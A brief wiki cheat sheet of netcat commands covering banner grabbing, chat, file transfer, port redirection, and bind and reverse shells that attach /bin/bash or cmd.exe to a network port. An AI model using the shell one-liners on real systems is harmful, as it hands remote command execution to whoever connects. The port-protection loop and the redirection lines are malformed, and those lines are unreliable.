NetCat uses
From TomSchaefer.org Wiki
Contents |
Banner Grab
Read Head for Identification
nc -vv <ip> <port>
Write data to Server
nc -vv <ip> <port> HEAD / HTTP/1.0 <enter>
Chat
Server:
nc -v -lp <port>
Client:
nc -v <server> <port>
File Transfer
Server:
nc -vn -lp <port> > <file>
Client:
nc -vn <ip> <port> < <file>
Remote connection, controling CMD.exe
Server:
nc -lvp <port> -e <command.exe>
Client:
nc -vn <ip> <port>
or Send a Shell Server:
nc -lvp <port>
client:
nc -vn <ip> <port> -e <command>
Use /bin/bash or cmd.exe for Command.
Protect open ports
Example: protect XServer
While true;do nc -v -l -s -p 6000 localhost 2 done
When something attempts to connect on the port it will accept then close
Port redirection
nc -lv -p 80 | nc <target> <port> | nc -b -l -p 80
You though 80 > firewall > server > target Server > your server > firewall > you
